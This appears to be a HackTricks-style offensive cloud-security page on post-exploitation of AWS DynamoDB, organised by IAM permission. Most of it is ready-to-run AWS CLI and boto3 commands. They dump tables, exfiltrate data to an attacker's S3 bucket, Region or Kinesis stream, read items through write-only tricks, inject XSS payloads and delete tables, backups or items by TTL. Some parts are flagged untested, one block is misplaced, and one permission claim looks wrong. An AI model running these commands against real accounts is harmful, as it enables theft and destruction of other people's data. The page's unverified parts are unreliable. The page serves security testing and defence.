# AWS - DynamoDB Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## DynamoDB

For more information check:

{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:BatchGetItem`

An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).

{{#tabs }}
{{#tab name="json file" }}

```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
    "ProductCatalog" : { // This is the table name
        "Keys": [
            {
            "Id" : { // Primary keys name
                "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
            }
            }
        ]
    }
}
```

{{#endtab }}

{{#tab name="inline" }}

```bash
aws dynamodb batch-get-item \
    --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
    --region <region>
```

{{#endtab }}
{{#endtabs }}

**Potential Impact:** Indirect privesc by locating sensitive information in the table

### `dynamodb:GetItem`

**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:

```json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
    "N": "205"
}
}
```

With this permission it's also possible to use the **`transact-get-items`** method like:

```json
aws dynamodb transact-get-items \
    --transact-items file:///tmp/a.json

// With a.json
[
    {
        "Get": {
            "Key": {
                "Id": {"N": "205"}
            },
            "TableName": "ProductCatalog"
        }
    }
]
```

**Potential Impact:** Indirect privesc by locating sensitive information in the table

### `dynamodb:Query`

**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.

{{#tabs }}
{{#tab name="json file" }}

```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

 // With a.json
 {
"Id" : {
    "ComparisonOperator":"EQ",
    "AttributeValueList": [ {"N": "205"} ]
    }
}
```

{{#endtab }}

{{#tab name="inline" }}

```bash
aws dynamodb query \
    --table-name TargetTable \
    --key-condition-expression "AttributeName = :value" \
    --expression-attribute-values '{":value":{"S":"TargetValue"}}' \
    --region <region>
```

{{#endtab }}
{{#endtabs }}

**Potential Impact:** Indirect privesc by locating sensitive information in the table

### `dynamodb:Scan`

You can use this permission to **dump the entire table easily**.

```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```

**Potential Impact:** Indirect privesc by locating sensitive information in the table

### `dynamodb:PartiQLSelect`

You can use this permission to **dump the entire table easily**.

```bash
aws dynamodb execute-statement \
    --statement "SELECT * FROM ProductCatalog"
```

This permission also allow to perform `batch-execute-statement` like:

```bash
aws dynamodb batch-execute-statement \
    --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```

but you need to specify the primary key with a value, so it isn't that useful.

**Potential Impact:** Indirect privesc by locating sensitive information in the table

### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`

This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:

```bash
aws dynamodb export-table-to-point-in-time \
    --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
    --s3-bucket <attacker_s3_bucket> \
    --s3-prefix <optional_prefix> \
    --export-time <point_in_time> \
    --region <region>
```

Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:

```bash
aws dynamodb describe-continuous-backups \
  --table-name <tablename>
```

If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:

```bash
aws dynamodb update-continuous-backups \
    --table-name <value> \
    --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```

**Potential Impact:** Indirect privesc by locating sensitive information in the table

### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`

With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.

```bash
aws dynamodb restore-table-from-backup \
    --backup-arn <source-backup-arn> \
    --target-table-name <new-table-name> \
    --region <region>
```

**Potential Impact:** Indirect privesc by locating sensitive information in the table backup

### `dynamodb:PutItem`

This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.

{{#tabs }}
{{#tab name="XSS Example" }}

```bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
   "Id": {
      "S": "1000"
   },
   "Name": {
      "S":  "Marc"
   },
   "Description": {
       "S": "<script>alert(1)</script>"
   }
}
```

{{#endtab }}

{{#tab name="AI Example" }}

```bash
aws dynamodb put-item \
    --table-name ExampleTable \
    --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
    --region <region>
```

{{#endtab }}
{{#endtabs }}

**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table

### `dynamodb:UpdateItem`

This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression.

{{#tabs }}
{{#tab name="XSS Example" }}

```bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
    --key file://key.json --update-expression "SET Description = :value" \
    --expression-attribute-values file://val.json
### With key.json:
{
    "Id": {
        "S": "1000"
    }
}
### and val.json
{
    ":value": {
        "S": "<script>alert(1)</script>"
    }
}
```

{{#endtab }}

{{#tab name="AI Example" }}

```bash
aws dynamodb update-item \
    --table-name ExampleTable \
    --key '{"Id": {"S": "1"}}' \
    --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
    --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
    --region <region>
```

{{#endtab }}
{{#endtabs }}

**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table

### `dynamodb:DeleteTable`

An attacker with this permission can **delete a DynamoDB table, causing data loss**.

```bash
aws dynamodb delete-table \
    --table-name TargetTable \
    --region <region>
```

**Potential impact**: Data loss and disruption of services relying on the deleted table.

### `dynamodb:DeleteBackup`

An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**.

```bash
aws dynamodb delete-backup \
    --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
    --region <region>
```

**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario.

### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`

> [!NOTE]
> TODO: Test if this actually works

An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage.

1. Enable a stream on a DynamoDB table:

```bash
aws dynamodb update-table \
    --table-name TargetTable \
    --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
    --region <region>
```

2. Describe the stream to obtain the ARN and other details:

```bash
aws dynamodb describe-stream \
    --table-name TargetTable \
    --region <region>
```

3. Get the shard iterator using the stream ARN:

```bash
aws dynamodbstreams get-shard-iterator \
    --stream-arn <stream_arn> \
    --shard-id <shard_id> \
    --shard-iterator-type LATEST \
    --region <region>
```

4. Use the shard iterator to access and exfiltrate data from the stream:

```bash
aws dynamodbstreams get-records \
    --shard-iterator <shard_iterator> \
    --region <region>
```

**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes.

### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`

An attacker with only `dynamodb:UpdateItem` on a table can read items without any of the usual read permissions (`GetItem`/`Query`/`Scan`) by performing a benign update and requesting `--return-values ALL_OLD`. DynamoDB will return the full pre-update image of the item in the `Attributes` field of the response (this does not consume RCUs).

- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
- Prerequisites: You must know the item's primary key.

Example (adds a harmless attribute and exfiltrates the previous item in the response):

```bash
aws dynamodb update-item \
  --table-name <TargetTable> \
  --key '{"<PKName>":{"S":"<PKValue>"}}' \
  --update-expression 'SET #m = :v' \
  --expression-attribute-names '{"#m":"exfil_marker"}' \
  --expression-attribute-values '{":v":{"S":"1"}}' \
  --return-values ALL_OLD \
  --region <region>
```

The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access.

**Potential Impact:** Read arbitrary items from a table with only write permissions, enabling sensitive data exfiltration when primary keys are known.


### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`

Stealth exfiltration by adding a new replica Region to a DynamoDB Global Table (version 2019.11.21). If a principal can add a regional replica, the whole table is replicated to the attacker-chosen Region, from which the attacker can read all items.

{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}

```bash
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
  --table-name <TableName> \
  --replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
  --region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
```

{{#endtab }}
{{#tab name="PoC (customer-managed KMS)" }}

```bash
# Specify the CMK to use in the replica Region
aws dynamodb update-table \
  --table-name <TableName> \
  --replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
  --region <primary-region>
```

{{#endtab }}
{{#endtabs }}

Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.

Potential Impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.

### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)

An attacker with transactional write privileges can exfiltrate the full attributes of an existing item by performing an `Update` inside `TransactWriteItems` that intentionally fails a `ConditionExpression` while setting `ReturnValuesOnConditionCheckFailure=ALL_OLD`. On failure, DynamoDB includes the prior attributes in the transaction cancellation reasons, effectively turning write-only access into read access of targeted keys.

{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}

```bash
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
  {
    "Update": {
      "TableName": "<TableName>",
      "Key": {"<PKName>": {"S": "<PKValue>"}},
      "UpdateExpression": "SET #m = :v",
      "ExpressionAttributeNames": {"#m": "marker"},
      "ExpressionAttributeValues": {":v": {"S": "x"}},
      "ConditionExpression": "attribute_not_exists(<PKName>)",
      "ReturnValuesOnConditionCheckFailure": "ALL_OLD"
    }
  }
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
  --transact-items file:///tmp/tx_items.json \
  --region <region> \
  --return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
```

{{#endtab }}
{{#tab name="PoC (boto3)" }}

```python
import boto3
c=boto3.client('dynamodb',region_name='<region>')
try:
  c.transact_write_items(TransactItems=[{ 'Update': {
    'TableName':'<TableName>',
    'Key':{'<PKName>':{'S':'<PKValue>'}},
    'UpdateExpression':'SET #m = :v',
    'ExpressionAttributeNames':{'#m':'marker'},
    'ExpressionAttributeValues':{':v':{'S':'x'}},
    'ConditionExpression':'attribute_not_exists(<PKName>)',
    'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
except c.exceptions.TransactionCanceledException as e:
  print(e.response['CancellationReasons'][0]['Item'])
```

{{#endtab }}
{{#endtabs }}

Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.

Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons.


### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI

Bypass read restrictions by creating a Global Secondary Index (GSI) with `ProjectionType=ALL` on a low-entropy attribute, set that attribute to a constant value across items, then `Query` the index to retrieve full items. This works even if `Query`/`Scan` on the base table is denied, as long as you can query the index ARN.

- Minimum permissions:
  - `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
  - `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
  - `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).

Steps (PoC in us-east-1):

```bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
  --attribute-definitions AttributeName=id,AttributeType=S \
  --key-schema AttributeName=id,KeyType=HASH \
  --billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
  aws dynamodb put-item --table-name HTXIdx \
  --item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
  --region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
  --attribute-definitions AttributeName=X,AttributeType=S \
  --global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
  --region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
  --query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
  aws dynamodb update-item --table-name HTXIdx \
  --key "{\"id\":{\"S\":\"$i\"}}" \
  --update-expression 'SET #x = :v' \
  --expression-attribute-names '{"#x":"X"}' \
  --expression-attribute-values '{":v":{"S":"dump"}}' \
  --region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
  --key-condition-expression '#x = :v' \
  --expression-attribute-names '{"#x":"X"}' \
  --expression-attribute-values '{":v":{"S":"dump"}}' \
  --region us-east-1
```

**Potential Impact:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied.


### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)

Abusing DynamoDB Kinesis streaming destinations to continuously exfiltrate changes from a table into an attacker-controlled Kinesis Data Stream. Once enabled, every INSERT/MODIFY/REMOVE event is forwarded near real-time to the stream without needing read permissions on the table.

Minimum permissions (attacker):
- `dynamodb:EnableKinesisStreamingDestination` on the target table
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`

<details>
<summary>PoC (us-east-1)</summary>

```bash
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
  --attribute-definitions AttributeName=id,AttributeType=S \
  --key-schema AttributeName=id,KeyType=HASH \
  --billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
  --item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}

# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1

# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
  --region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
  --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
  --region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus

# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
  --item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
  --key file:///tmp/htx_key_a1.json \
  --update-expression "SET #i = :v" \
  --expression-attribute-names {#i:info} \
  --expression-attribute-values {:v:{S:updated}} \
  --region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}

# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
  --query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
  --shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .

# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
  --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```

### `dynamodb:UpdateTimeToLive`

An attacker with the dynamodb:UpdateTimeToLive permission can change a table’s TTL (time-to-live) configuration — enabling or disabling TTL. When TTL is enabled, individual items that contain the configured TTL attribute will be automatically deleted once their expiration time is reached. The TTL value is just another attribute on each item; items without that attribute are not affected by TTL-based deletion.

If items do not already contain the TTL attribute, the attacker would also need a permission that updates items (for example dynamodb:UpdateItem) to add the TTL attribute and trigger mass deletions.

First enable TTL on the table, specifying the attribute name to use for expiration:

```bash
aws dynamodb update-time-to-live \
  --table-name <TABLE_NAME> \
  --time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
```

Then update items to add the TTL attribute (epoch seconds) so they will expire and be removed:

```bash
aws dynamodb update-item \
  --table-name <TABLE_NAME> \
  --key '<PRIMARY_KEY_JSON>' \
  --update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
  --expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
```

### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`

An attacker with dynamodb:RestoreTableFromAwsBackup or dynamodb:RestoreTableToPointInTime permissions can create new tables restored from backups or from point-in-time recovery (PITR) without overwriting the original table. The restored table contains a full image of the data at the selected point, so the attacker can use it to exfiltrate historical information or obtain a complete dump of the database’s past state.

Restore a DynamoDB table from an on-demand backup:

```bash
aws dynamodb restore-table-from-backup \
  --target-table-name <NEW_TABLE_NAME> \
  --backup-arn <BACKUP_ARN>
```

Restore a DynamoDB table to a point in time (create a new table with the restored state):

```bash
aws dynamodb restore-table-to-point-in-time \
  --source-table-name <SOURCE_TABLE_NAME> \
  --target-table-name <NEW_TABLE_NAME> \
  --use-latest-restorable-time
````

</details>

**Potential Impact:** Continuous, near real-time exfiltration of table changes to an attacker-controlled Kinesis stream without direct read operations on the table.



{{#include ../../../../banners/hacktricks-training.md}}